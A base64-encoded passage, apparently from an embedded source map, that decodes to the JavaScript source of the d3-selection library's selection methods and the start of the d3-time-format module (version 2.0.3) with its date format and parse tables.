WUuYXBwbHkodGhpcywgYXJndW1lbnRzKSA/IGNsYXNzZWRBZGQgOiBjbGFzc2VkUmVtb3ZlKSh0aGlzLCBuYW1lcyk7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl9jbGFzc2VkKG5hbWUsIHZhbHVlKSB7XG4gICAgdmFyIG5hbWVzID0gY2xhc3NBcnJheShuYW1lICsgXCJcIik7XG5cbiAgICBpZiAoYXJndW1lbnRzLmxlbmd0aCA8IDIpIHtcbiAgICAgIHZhciBsaXN0ID0gY2xhc3NMaXN0KHRoaXMubm9kZSgpKSwgaSA9IC0xLCBuID0gbmFtZXMubGVuZ3RoO1xuICAgICAgd2hpbGUgKCsraSA8IG4pIGlmICghbGlzdC5jb250YWlucyhuYW1lc1tpXSkpIHJldHVybiBmYWxzZTtcbiAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cblxuICAgIHJldHVybiB0aGlzLmVhY2goKHR5cGVvZiB2YWx1ZSA9PT0gXCJmdW5jdGlvblwiXG4gICAgICAgID8gY2xhc3NlZEZ1bmN0aW9uIDogdmFsdWVcbiAgICAgICAgPyBjbGFzc2VkVHJ1ZVxuICAgICAgICA6IGNsYXNzZWRGYWxzZSkobmFtZXMsIHZhbHVlKSk7XG4gIH1cblxuICBmdW5jdGlvbiB0ZXh0UmVtb3ZlKCkge1xuICAgIHRoaXMudGV4dENvbnRlbnQgPSBcIlwiO1xuICB9XG5cbiAgZnVuY3Rpb24gdGV4dENvbnN0YW50KHZhbHVlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy50ZXh0Q29udGVudCA9IHZhbHVlO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiB0ZXh0RnVuY3Rpb24odmFsdWUpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICB2YXIgdiA9IHZhbHVlLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyk7XG4gICAgICB0aGlzLnRleHRDb250ZW50ID0gdiA9PSBudWxsID8gXCJcIiA6IHY7XG4gICAgfTtcbiAgfVxuXG4gIGZ1bmN0aW9uIHNlbGVjdGlvbl90ZXh0KHZhbHVlKSB7XG4gICAgcmV0dXJuIGFyZ3VtZW50cy5sZW5ndGhcbiAgICAgICAgPyB0aGlzLmVhY2godmFsdWUgPT0gbnVsbFxuICAgICAgICAgICAgPyB0ZXh0UmVtb3ZlIDogKHR5cGVvZiB2YWx1ZSA9PT0gXCJmdW5jdGlvblwiXG4gICAgICAgICAgICA/IHRleHRGdW5jdGlvblxuICAgICAgICAgICAgOiB0ZXh0Q29uc3RhbnQpKHZhbHVlKSlcbiAgICAgICAgOiB0aGlzLm5vZGUoKS50ZXh0Q29udGVudDtcbiAgfVxuXG4gIGZ1bmN0aW9uIGh0bWxSZW1vdmUoKSB7XG4gICAgdGhpcy5pbm5lckhUTUwgPSBcIlwiO1xuICB9XG5cbiAgZnVuY3Rpb24gaHRtbENvbnN0YW50KHZhbHVlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdGhpcy5pbm5lckhUTUwgPSB2YWx1ZTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gaHRtbEZ1bmN0aW9uKHZhbHVlKSB7XG4gICAgcmV0dXJuIGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIHYgPSB2YWx1ZS5hcHBseSh0aGlzLCBhcmd1bWVudHMpO1xuICAgICAgdGhpcy5pbm5lckhUTUwgPSB2ID09IG51bGwgPyBcIlwiIDogdjtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2h0bWwodmFsdWUpIHtcbiAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aFxuICAgICAgICA/IHRoaXMuZWFjaCh2YWx1ZSA9PSBudWxsXG4gICAgICAgICAgICA/IGh0bWxSZW1vdmUgOiAodHlwZW9mIHZhbHVlID09PSBcImZ1bmN0aW9uXCJcbiAgICAgICAgICAgID8gaHRtbEZ1bmN0aW9uXG4gICAgICAgICAgICA6IGh0bWxDb25zdGFudCkodmFsdWUpKVxuICAgICAgICA6IHRoaXMubm9kZSgpLmlubmVySFRNTDtcbiAgfVxuXG4gIGZ1bmN0aW9uIHJhaXNlKCkge1xuICAgIGlmICh0aGlzLm5leHRTaWJsaW5nKSB0aGlzLnBhcmVudE5vZGUuYXBwZW5kQ2hpbGQodGhpcyk7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fcmFpc2UoKSB7XG4gICAgcmV0dXJuIHRoaXMuZWFjaChyYWlzZSk7XG4gIH1cblxuICBmdW5jdGlvbiBsb3dlcigpIHtcbiAgICBpZiAodGhpcy5wcmV2aW91c1NpYmxpbmcpIHRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUodGhpcywgdGhpcy5wYXJlbnROb2RlLmZpcnN0Q2hpbGQpO1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2xvd2VyKCkge1xuICAgIHJldHVybiB0aGlzLmVhY2gobG93ZXIpO1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2FwcGVuZChuYW1lKSB7XG4gICAgdmFyIGNyZWF0ZSA9IHR5cGVvZiBuYW1lID09PSBcImZ1bmN0aW9uXCIgPyBuYW1lIDogY3JlYXRvcihuYW1lKTtcbiAgICByZXR1cm4gdGhpcy5zZWxlY3QoZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhpcy5hcHBlbmRDaGlsZChjcmVhdGUuYXBwbHkodGhpcywgYXJndW1lbnRzKSk7XG4gICAgfSk7XG4gIH1cblxuICBmdW5jdGlvbiBjb25zdGFudE51bGwoKSB7XG4gICAgcmV0dXJuIG51bGw7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25faW5zZXJ0KG5hbWUsIGJlZm9yZSkge1xuICAgIHZhciBjcmVhdGUgPSB0eXBlb2YgbmFtZSA9PT0gXCJmdW5jdGlvblwiID8gbmFtZSA6IGNyZWF0b3IobmFtZSksXG4gICAgICAgIHNlbGVjdCA9IGJlZm9yZSA9PSBudWxsID8gY29uc3RhbnROdWxsIDogdHlwZW9mIGJlZm9yZSA9PT0gXCJmdW5jdGlvblwiID8gYmVmb3JlIDogc2VsZWN0b3IoYmVmb3JlKTtcbiAgICByZXR1cm4gdGhpcy5zZWxlY3QoZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhpcy5pbnNlcnRCZWZvcmUoY3JlYXRlLmFwcGx5KHRoaXMsIGFyZ3VtZW50cyksIHNlbGVjdC5hcHBseSh0aGlzLCBhcmd1bWVudHMpIHx8IG51bGwpO1xuICAgIH0pO1xuICB9XG5cbiAgZnVuY3Rpb24gcmVtb3ZlKCkge1xuICAgIHZhciBwYXJlbnQgPSB0aGlzLnBhcmVudE5vZGU7XG4gICAgaWYgKHBhcmVudCkgcGFyZW50LnJlbW92ZUNoaWxkKHRoaXMpO1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX3JlbW92ZSgpIHtcbiAgICByZXR1cm4gdGhpcy5lYWNoKHJlbW92ZSk7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb25fZGF0dW0odmFsdWUpIHtcbiAgICByZXR1cm4gYXJndW1lbnRzLmxlbmd0aFxuICAgICAgICA/IHRoaXMucHJvcGVydHkoXCJfX2RhdGFfX1wiLCB2YWx1ZSlcbiAgICAgICAgOiB0aGlzLm5vZGUoKS5fX2RhdGFfXztcbiAgfVxuXG4gIGZ1bmN0aW9uIGRpc3BhdGNoRXZlbnQobm9kZSwgdHlwZSwgcGFyYW1zKSB7XG4gICAgdmFyIHdpbmRvdyA9IGRlZmF1bHRWaWV3KG5vZGUpLFxuICAgICAgICBldmVudCA9IHdpbmRvdy5DdXN0b21FdmVudDtcblxuICAgIGlmIChldmVudCkge1xuICAgICAgZXZlbnQgPSBuZXcgZXZlbnQodHlwZSwgcGFyYW1zKTtcbiAgICB9IGVsc2Uge1xuICAgICAgZXZlbnQgPSB3aW5kb3cuZG9jdW1lbnQuY3JlYXRlRXZlbnQoXCJFdmVudFwiKTtcbiAgICAgIGlmIChwYXJhbXMpIGV2ZW50LmluaXRFdmVudCh0eXBlLCBwYXJhbXMuYnViYmxlcywgcGFyYW1zLmNhbmNlbGFibGUpLCBldmVudC5kZXRhaWwgPSBwYXJhbXMuZGV0YWlsO1xuICAgICAgZWxzZSBldmVudC5pbml0RXZlbnQodHlwZSwgZmFsc2UsIGZhbHNlKTtcbiAgICB9XG5cbiAgICBub2RlLmRpc3BhdGNoRXZlbnQoZXZlbnQpO1xuICB9XG5cbiAgZnVuY3Rpb24gZGlzcGF0Y2hDb25zdGFudCh0eXBlLCBwYXJhbXMpIHtcbiAgICByZXR1cm4gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gZGlzcGF0Y2hFdmVudCh0aGlzLCB0eXBlLCBwYXJhbXMpO1xuICAgIH07XG4gIH1cblxuICBmdW5jdGlvbiBkaXNwYXRjaEZ1bmN0aW9uKHR5cGUsIHBhcmFtcykge1xuICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiBkaXNwYXRjaEV2ZW50KHRoaXMsIHR5cGUsIHBhcmFtcy5hcHBseSh0aGlzLCBhcmd1bWVudHMpKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gc2VsZWN0aW9uX2Rpc3BhdGNoKHR5cGUsIHBhcmFtcykge1xuICAgIHJldHVybiB0aGlzLmVhY2goKHR5cGVvZiBwYXJhbXMgPT09IFwiZnVuY3Rpb25cIlxuICAgICAgICA/IGRpc3BhdGNoRnVuY3Rpb25cbiAgICAgICAgOiBkaXNwYXRjaENvbnN0YW50KSh0eXBlLCBwYXJhbXMpKTtcbiAgfVxuXG4gIHZhciByb290ID0gW251bGxdO1xuXG4gIGZ1bmN0aW9uIFNlbGVjdGlvbihncm91cHMsIHBhcmVudHMpIHtcbiAgICB0aGlzLl9ncm91cHMgPSBncm91cHM7XG4gICAgdGhpcy5fcGFyZW50cyA9IHBhcmVudHM7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3Rpb24oKSB7XG4gICAgcmV0dXJuIG5ldyBTZWxlY3Rpb24oW1tkb2N1bWVudC5kb2N1bWVudEVsZW1lbnRdXSwgcm9vdCk7XG4gIH1cblxuICBTZWxlY3Rpb24ucHJvdG90eXBlID0gc2VsZWN0aW9uLnByb3RvdHlwZSA9IHtcbiAgICBjb25zdHJ1Y3RvcjogU2VsZWN0aW9uLFxuICAgIHNlbGVjdDogc2VsZWN0aW9uX3NlbGVjdCxcbiAgICBzZWxlY3RBbGw6IHNlbGVjdGlvbl9zZWxlY3RBbGwsXG4gICAgZmlsdGVyOiBzZWxlY3Rpb25fZmlsdGVyLFxuICAgIGRhdGE6IHNlbGVjdGlvbl9kYXRhLFxuICAgIGVudGVyOiBzZWxlY3Rpb25fZW50ZXIsXG4gICAgZXhpdDogc2VsZWN0aW9uX2V4aXQsXG4gICAgbWVyZ2U6IHNlbGVjdGlvbl9tZXJnZSxcbiAgICBvcmRlcjogc2VsZWN0aW9uX29yZGVyLFxuICAgIHNvcnQ6IHNlbGVjdGlvbl9zb3J0LFxuICAgIGNhbGw6IHNlbGVjdGlvbl9jYWxsLFxuICAgIG5vZGVzOiBzZWxlY3Rpb25fbm9kZXMsXG4gICAgbm9kZTogc2VsZWN0aW9uX25vZGUsXG4gICAgc2l6ZTogc2VsZWN0aW9uX3NpemUsXG4gICAgZW1wdHk6IHNlbGVjdGlvbl9lbXB0eSxcbiAgICBlYWNoOiBzZWxlY3Rpb25fZWFjaCxcbiAgICBhdHRyOiBzZWxlY3Rpb25fYXR0cixcbiAgICBzdHlsZTogc2VsZWN0aW9uX3N0eWxlLFxuICAgIHByb3BlcnR5OiBzZWxlY3Rpb25fcHJvcGVydHksXG4gICAgY2xhc3NlZDogc2VsZWN0aW9uX2NsYXNzZWQsXG4gICAgdGV4dDogc2VsZWN0aW9uX3RleHQsXG4gICAgaHRtbDogc2VsZWN0aW9uX2h0bWwsXG4gICAgcmFpc2U6IHNlbGVjdGlvbl9yYWlzZSxcbiAgICBsb3dlcjogc2VsZWN0aW9uX2xvd2VyLFxuICAgIGFwcGVuZDogc2VsZWN0aW9uX2FwcGVuZCxcbiAgICBpbnNlcnQ6IHNlbGVjdGlvbl9pbnNlcnQsXG4gICAgcmVtb3ZlOiBzZWxlY3Rpb25fcmVtb3ZlLFxuICAgIGRhdHVtOiBzZWxlY3Rpb25fZGF0dW0sXG4gICAgb246IHNlbGVjdGlvbl9vbixcbiAgICBkaXNwYXRjaDogc2VsZWN0aW9uX2Rpc3BhdGNoXG4gIH07XG5cbiAgZnVuY3Rpb24gc2VsZWN0KHNlbGVjdG9yKSB7XG4gICAgcmV0dXJuIHR5cGVvZiBzZWxlY3RvciA9PT0gXCJzdHJpbmdcIlxuICAgICAgICA/IG5ldyBTZWxlY3Rpb24oW1tkb2N1bWVudC5xdWVyeVNlbGVjdG9yKHNlbGVjdG9yKV1dLCBbZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50XSlcbiAgICAgICAgOiBuZXcgU2VsZWN0aW9uKFtbc2VsZWN0b3JdXSwgcm9vdCk7XG4gIH1cblxuICBmdW5jdGlvbiBzZWxlY3RBbGwoc2VsZWN0b3IpIHtcbiAgICByZXR1cm4gdHlwZW9mIHNlbGVjdG9yID09PSBcInN0cmluZ1wiXG4gICAgICAgID8gbmV3IFNlbGVjdGlvbihbZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbChzZWxlY3RvcildLCBbZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50XSlcbiAgICAgICAgOiBuZXcgU2VsZWN0aW9uKFtzZWxlY3RvciA9PSBudWxsID8gW10gOiBzZWxlY3Rvcl0sIHJvb3QpO1xuICB9XG5cbiAgZnVuY3Rpb24gdG91Y2gobm9kZSwgdG91Y2hlcywgaWRlbnRpZmllcikge1xuICAgIGlmIChhcmd1bWVudHMubGVuZ3RoIDwgMykgaWRlbnRpZmllciA9IHRvdWNoZXMsIHRvdWNoZXMgPSBzb3VyY2VFdmVudCgpLmNoYW5nZWRUb3VjaGVzO1xuXG4gICAgZm9yICh2YXIgaSA9IDAsIG4gPSB0b3VjaGVzID8gdG91Y2hlcy5sZW5ndGggOiAwLCB0b3VjaDsgaSA8IG47ICsraSkge1xuICAgICAgaWYgKCh0b3VjaCA9IHRvdWNoZXNbaV0pLmlkZW50aWZpZXIgPT09IGlkZW50aWZpZXIpIHtcbiAgICAgICAgcmV0dXJuIHBvaW50KG5vZGUsIHRvdWNoKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gbnVsbDtcbiAgfVxuXG4gIGZ1bmN0aW9uIHRvdWNoZXMobm9kZSwgdG91Y2hlcykge1xuICAgIGlmICh0b3VjaGVzID09IG51bGwpIHRvdWNoZXMgPSBzb3VyY2VFdmVudCgpLnRvdWNoZXM7XG5cbiAgICBmb3IgKHZhciBpID0gMCwgbiA9IHRvdWNoZXMgPyB0b3VjaGVzLmxlbmd0aCA6IDAsIHBvaW50cyA9IG5ldyBBcnJheShuKTsgaSA8IG47ICsraSkge1xuICAgICAgcG9pbnRzW2ldID0gcG9pbnQobm9kZSwgdG91Y2hlc1tpXSk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHBvaW50cztcbiAgfVxuXG4gIGV4cG9ydHMuY3JlYXRvciA9IGNyZWF0b3I7XG4gIGV4cG9ydHMubG9jYWwgPSBsb2NhbDtcbiAgZXhwb3J0cy5tYXRjaGVyID0gbWF0Y2hlciQxO1xuICBleHBvcnRzLm1vdXNlID0gbW91c2U7XG4gIGV4cG9ydHMubmFtZXNwYWNlID0gbmFtZXNwYWNlO1xuICBleHBvcnRzLm5hbWVzcGFjZXMgPSBuYW1lc3BhY2VzO1xuICBleHBvcnRzLnNlbGVjdCA9IHNlbGVjdDtcbiAgZXhwb3J0cy5zZWxlY3RBbGwgPSBzZWxlY3RBbGw7XG4gIGV4cG9ydHMuc2VsZWN0aW9uID0gc2VsZWN0aW9uO1xuICBleHBvcnRzLnNlbGVjdG9yID0gc2VsZWN0b3I7XG4gIGV4cG9ydHMuc2VsZWN0b3JBbGwgPSBzZWxlY3RvckFsbDtcbiAgZXhwb3J0cy50b3VjaCA9IHRvdWNoO1xuICBleHBvcnRzLnRvdWNoZXMgPSB0b3VjaGVzO1xuICBleHBvcnRzLndpbmRvdyA9IGRlZmF1bHRWaWV3O1xuICBleHBvcnRzLmN1c3RvbUV2ZW50ID0gY3VzdG9tRXZlbnQ7XG5cbiAgT2JqZWN0LmRlZmluZVByb3BlcnR5KGV4cG9ydHMsICdfX2VzTW9kdWxlJywgeyB2YWx1ZTogdHJ1ZSB9KTtcblxufSkpOyIsIi8vIGh0dHBzOi8vZDNqcy5vcmcvZDMtdGltZS1mb3JtYXQvIFZlcnNpb24gMi4wLjMuIENvcHlyaWdodCAyMDE2IE1pa2UgQm9zdG9jay5cbihmdW5jdGlvbiAoZ2xvYmFsLCBmYWN0b3J5KSB7XG4gIHR5cGVvZiBleHBvcnRzID09PSAnb2JqZWN0JyAmJiB0eXBlb2YgbW9kdWxlICE9PSAndW5kZWZpbmVkJyA/IGZhY3RvcnkoZXhwb3J0cywgcmVxdWlyZSgnZDMtdGltZScpKSA6XG4gIHR5cGVvZiBkZWZpbmUgPT09ICdmdW5jdGlvbicgJiYgZGVmaW5lLmFtZCA/IGRlZmluZShbJ2V4cG9ydHMnLCAnZDMtdGltZSddLCBmYWN0b3J5KSA6XG4gIChmYWN0b3J5KChnbG9iYWwuZDMgPSBnbG9iYWwuZDMgfHwge30pLGdsb2JhbC5kMykpO1xufSh0aGlzLCAoZnVuY3Rpb24gKGV4cG9ydHMsZDNUaW1lKSB7ICd1c2Ugc3RyaWN0JztcblxuZnVuY3Rpb24gbG9jYWxEYXRlKGQpIHtcbiAgaWYgKDAgPD0gZC55ICYmIGQueSA8IDEwMCkge1xuICAgIHZhciBkYXRlID0gbmV3IERhdGUoLTEsIGQubSwgZC5kLCBkLkgsIGQuTSwgZC5TLCBkLkwpO1xuICAgIGRhdGUuc2V0RnVsbFllYXIoZC55KTtcbiAgICByZXR1cm4gZGF0ZTtcbiAgfVxuICByZXR1cm4gbmV3IERhdGUoZC55LCBkLm0sIGQuZCwgZC5ILCBkLk0sIGQuUywgZC5MKTtcbn1cblxuZnVuY3Rpb24gdXRjRGF0ZShkKSB7XG4gIGlmICgwIDw9IGQueSAmJiBkLnkgPCAxMDApIHtcbiAgICB2YXIgZGF0ZSA9IG5ldyBEYXRlKERhdGUuVVRDKC0xLCBkLm0sIGQuZCwgZC5ILCBkLk0sIGQuUywgZC5MKSk7XG4gICAgZGF0ZS5zZXRVVENGdWxsWWVhcihkLnkpO1xuICAgIHJldHVybiBkYXRlO1xuICB9XG4gIHJldHVybiBuZXcgRGF0ZShEYXRlLlVUQyhkLnksIGQubSwgZC5kLCBkLkgsIGQuTSwgZC5TLCBkLkwpKTtcbn1cblxuZnVuY3Rpb24gbmV3WWVhcih5KSB7XG4gIHJldHVybiB7eTogeSwgbTogMCwgZDogMSwgSDogMCwgTTogMCwgUzogMCwgTDogMH07XG59XG5cbmZ1bmN0aW9uIGZvcm1hdExvY2FsZShsb2NhbGUpIHtcbiAgdmFyIGxvY2FsZV9kYXRlVGltZSA9IGxvY2FsZS5kYXRlVGltZSxcbiAgICAgIGxvY2FsZV9kYXRlID0gbG9jYWxlLmRhdGUsXG4gICAgICBsb2NhbGVfdGltZSA9IGxvY2FsZS50aW1lLFxuICAgICAgbG9jYWxlX3BlcmlvZHMgPSBsb2NhbGUucGVyaW9kcyxcbiAgICAgIGxvY2FsZV93ZWVrZGF5cyA9IGxvY2FsZS5kYXlzLFxuICAgICAgbG9jYWxlX3Nob3J0V2Vla2RheXMgPSBsb2NhbGUuc2hvcnREYXlzLFxuICAgICAgbG9jYWxlX21vbnRocyA9IGxvY2FsZS5tb250aHMsXG4gICAgICBsb2NhbGVfc2hvcnRNb250aHMgPSBsb2NhbGUuc2hvcnRNb250aHM7XG5cbiAgdmFyIHBlcmlvZFJlID0gZm9ybWF0UmUobG9jYWxlX3BlcmlvZHMpLFxuICAgICAgcGVyaW9kTG9va3VwID0gZm9ybWF0TG9va3VwKGxvY2FsZV9wZXJpb2RzKSxcbiAgICAgIHdlZWtkYXlSZSA9IGZvcm1hdFJlKGxvY2FsZV93ZWVrZGF5cyksXG4gICAgICB3ZWVrZGF5TG9va3VwID0gZm9ybWF0TG9va3VwKGxvY2FsZV93ZWVrZGF5cyksXG4gICAgICBzaG9ydFdlZWtkYXlSZSA9IGZvcm1hdFJlKGxvY2FsZV9zaG9ydFdlZWtkYXlzKSxcbiAgICAgIHNob3J0V2Vla2RheUxvb2t1cCA9IGZvcm1hdExvb2t1cChsb2NhbGVfc2hvcnRXZWVrZGF5cyksXG4gICAgICBtb250aFJlID0gZm9ybWF0UmUobG9jYWxlX21vbnRocyksXG4gICAgICBtb250aExvb2t1cCA9IGZvcm1hdExvb2t1cChsb2NhbGVfbW9udGhzKSxcbiAgICAgIHNob3J0TW9udGhSZSA9IGZvcm1hdFJlKGxvY2FsZV9zaG9ydE1vbnRocyksXG4gICAgICBzaG9ydE1vbnRoTG9va3VwID0gZm9ybWF0TG9va3VwKGxvY2FsZV9zaG9ydE1vbnRocyk7XG5cbiAgdmFyIGZvcm1hdHMgPSB7XG4gICAgXCJhXCI6IGZvcm1hdFNob3J0V2Vla2RheSxcbiAgICBcIkFcIjogZm9ybWF0V2Vla2RheSxcbiAgICBcImJcIjogZm9ybWF0U2hvcnRNb250aCxcbiAgICBcIkJcIjogZm9ybWF0TW9udGgsXG4gICAgXCJjXCI6IG51bGwsXG4gICAgXCJkXCI6IGZvcm1hdERheU9mTW9udGgsXG4gICAgXCJlXCI6IGZvcm1hdERheU9mTW9udGgsXG4gICAgXCJIXCI6IGZvcm1hdEhvdXIyNCxcbiAgICBcIklcIjogZm9ybWF0SG91cjEyLFxuICAgIFwialwiOiBmb3JtYXREYXlPZlllYXIsXG4gICAgXCJMXCI6IGZvcm1hdE1pbGxpc2Vjb25kcyxcbiAgICBcIm1cIjogZm9ybWF0TW9udGhOdW1iZXIsXG4gICAgXCJNXCI6IGZvcm1hdE1pbnV0ZXMsXG4gICAgXCJwXCI6IGZvcm1hdFBlcmlvZCxcbiAgICBcIlNcIjogZm9ybWF0U2Vjb25kcyxcbiAgICBcIlVcIjogZm9ybWF0V2Vla051bWJlclN1bmRheSxcbiAgICBcIndcIjogZm9ybWF0V2Vla2RheU51bWJlcixcbiAgICBcIldcIjogZm9ybWF0V2Vla051bWJlck1vbmRheSxcbiAgICBcInhcIjogbnVsbCxcbiAgICBcIlhcIjogbnVsbCxcbiAgICBcInlcIjogZm9ybWF0WWVhcixcbiAgICBcIllcIjogZm9ybWF0RnVsbFllYXIsXG4gICAgXCJaXCI6IGZvcm1hdFpvbmUsXG4gICAgXCIlXCI6IGZvcm1hdExpdGVyYWxQZXJjZW50XG4gIH07XG5cbiAgdmFyIHV0Y0Zvcm1hdHMgPSB7XG4gICAgXCJhXCI6IGZvcm1hdFVUQ1Nob3J0V2Vla2RheSxcbiAgICBcIkFcIjogZm9ybWF0VVRDV2Vla2RheSxcbiAgICBcImJcIjogZm9ybWF0VVRDU2hvcnRNb250aCxcbiAgICBcIkJcIjogZm9ybWF0VVRDTW9udGgsXG4gICAgXCJjXCI6IG51bGwsXG4gICAgXCJkXCI6IGZvcm1hdFVUQ0RheU9mTW9udGgsXG4gICAgXCJlXCI6IGZvcm1hdFVUQ0RheU9mTW9udGgsXG4gICAgXCJIXCI6IGZvcm1hdFVUQ0hvdXIyNCxcbiAgICBcIklcIjogZm9ybWF0VVRDSG91cjEyLFxuICAgIFwialwiOiBmb3JtYXRVVENEYXlPZlllYXIsXG4gICAgXCJMXCI6IGZvcm1hdFVUQ01pbGxpc2Vjb25kcyxcbiAgICBcIm1cIjogZm9ybWF0VVRDTW9udGhOdW1iZXIsXG4gICAgXCJNXCI6IGZvcm1hdFVUQ01pbnV0ZXMsXG4gICAgXCJwXCI6IGZvcm1hdFVUQ1BlcmlvZCxcbiAgICBcIlNcIjogZm9ybWF0VVRDU2Vjb25kcyxcbiAgICBcIlVcIjogZm9ybWF0VVRDV2Vla051bWJlclN1bmRheSxcbiAgICBcIndcIjogZm9ybWF0VVRDV2Vla2RheU51bWJlcixcbiAgICBcIldcIjogZm9ybWF0VVRDV2Vla051bWJlck1vbmRheSxcbiAgICBcInhcIjogbnVsbCxcbiAgICBcIlhcIjogbnVsbCxcbiAgICBcInlcIjogZm9ybWF0VVRDWWVhcixcbiAgICBcIllcIjogZm9ybWF0VVRDRnVsbFllYXIsXG4gICAgXCJaXCI6IGZvcm1hdFVUQ1pvbmUsXG4gICAgXCIlXCI6IGZvcm1hdExpdGVyYWxQZXJjZW50XG4gIH07XG5cbiAgdmFyIHBhcnNlcyA9IHtcbiAgICBcImFcIjogcGFyc2VTaG9ydFdlZWtkYXksXG4gICAgXCJBXCI6IHBhcnNlV2Vla2RheSxcbiAgICBcImJcIjogcGFyc2VTaG9ydE1vbnRoLFxuICAgIFwiQlwiOiBwYXJzZU1vbnRoLFxuICAgIFwiY1wiOiBwYXJzZUxvY2FsZURhdGVUaW1lLFxuICAgIFwiZFwiOiBwYXJzZURheU9mTW9udGgsXG4gICAgXCJlXCI6IHBhcnNlRGF5T2ZNb250aCxcbiAgICBcIkhcIjogcGFyc2VIb3VyMjQsXG4gICAgXCJJXCI6IHBhcnNlSG91cjI0LFxuICAgIFwialwiOiBwYXJzZURheU9mWWVhcixcbiAgICBcIkxcIjogcGFyc2VNaWxsaXNlY29uZHMsXG4gICAgXCJtXCI6IHBhcnNlTW9udGhOdW1iZXIsXG4gICAgXCJNXCI6IHBhcnNlTWludXRlcyxcbiAgICBcInBcIjogcGFyc2VQZXJpb2QsXG4gICAgXCJTXCI6IHBhcnNlU2Vjb25kcyxcbiAgICBcIlVcIjogcGFyc2VXZWVrTnVtYmVyU3VuZGF5LFxuICAgIFwid1wiOiBwYXJzZVdlZWtkYXlOdW1iZXIsXG4gICAgXCJXXCI6IHBhcnNlV2Vla051bWJlck1vbmRheSxcbiAgICBcInhcIjogcGFyc2VMb2NhbGVEYXRlLFxuICAgIFwiWFwiOiBwYXJzZUxvY2FsZVRpbWUsXG4gICAgXCJ5XCI6IHBhcnNlWWVhcixcbiAgICBcIllcIjogcGFyc2VGdWxsWWVhcixcbiAgICBcIlpcIjogcGFyc2Vab25lLFxuICAgIFwiJVwiOiBwYXJzZUxpdGVyYWxQZXJjZW50XG4gIH07XG5cbiAgLy8gVGhlc2UgcmVjdXJzaXZlIGRpcmVjdGl2ZSBkZWZpbml0aW9ucyBtdXN0IGJlIGRlZmVycmVkLlxuICBmb3JtYXRzLnggPSBuZXdGb3JtYXQobG9jYWxlX2RhdGUsIGZvcm1hdHMpO1xuICBmb3JtYXRzLlggPSBuZXdGb3JtYXQobG9jYWxlX3RpbWUsIGZvcm1hdHMpO1xuICBmb3JtYXRzLmMgPSBuZXdGb3JtYXQobG9jYWxlX2RhdGVUaW1lLCBmb3JtYXRzKTtcbiAgdXRjRm9ybWF0cy54ID0gbmV3Rm9ybWF0KGxvY2FsZV9kYXRlLCB1dGNGb3JtYXRzKTtcbiAgdXRjRm9ybWF0cy5YID0gbmV3Rm9ybWF0KGxvY2FsZV90aW1lLCB1dGNGb3JtYXRzKTtcbiAgdXRjRm9ybWF0cy5jID0gbmV3Rm9ybWF0KGxvY2FsZV9kYXRlVGltZSwgdXRjRm9ybWF0cyk7XG5cbiAgZnVuY3Rpb24gbmV3Rm9ybWF0KHNwZWNpZmllciwgZm9ybWF0cykge1xuICAgIHJldHVybiBmdW5jdGlvbihkYXRlKSB7XG4gICAgICB2YXIgc3RyaW5nID0gW10sXG4gICAgICAgICAgaSA9IC0xLFxuICAgICAgICAgIGogPSAwLFxuICAgICAgICAgIG4gPSBzcGVjaWZpZXIubGVuZ3RoLFxuICAgICAgICAgIGMsXG4gICAgICAgICAgcGFkLFxuICAgICAgICAgIGZvcm1hdDtcblxuICAgICAgaWYgKCEoZGF0ZSBpbnN0YW5jZW9mIERhdGUpKSBkYXRlID0gbmV3IERhdGUoK2RhdGUpO1xuXG4gICAgICB3aGlsZSAoKytpIDwgbikge1xuICAgICAgICBpZiAoc3BlY2lmaWVyLmNoYXJDb2RlQXQoaSkgPT09IDM3KSB7XG4gICAgICAgICAgc3RyaW5nLnB1c2goc3BlY2lmaWVyLnNsaWNlKGosIGkpKTtcbiAgICAgICAgICBpZiAoKHBhZCA9IHBhZHNbYyA9IHNwZWNpZmllci5jaGFyQXQoKytpKV0pICE9IG51bGwpIGMgPSBzcGVjaWZpZXIuY2hhckF0KCsraSk7XG4gICAgICAgICAgZWxzZSBwYWQgPSBjID09PSBcImVcIiA/IFwiIFwiIDogXCIwXCI7XG4gICAgICAgICAgaWYgKGZvcm1hdCA9IGZvcm1hdHNbY10pIGMgPSBmb3JtYXQoZGF0ZSwgcGFkKTtcbiAgICAgICAgICBzdHJpbmcucHVzaChjKTtcbiAgICAgICAgICBqID0gaSArIDE7XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgc3RyaW5nLnB1c2goc3BlY2lmaWVyLnNsaWNlKGosIGkpKTtcbiAgICAgIHJldHVybiBzdHJpbmcuam9pbihcIlwiKTtcbiAgICB9O1xuICB9XG5cbiAgZnVuY3Rpb24gbmV3UGF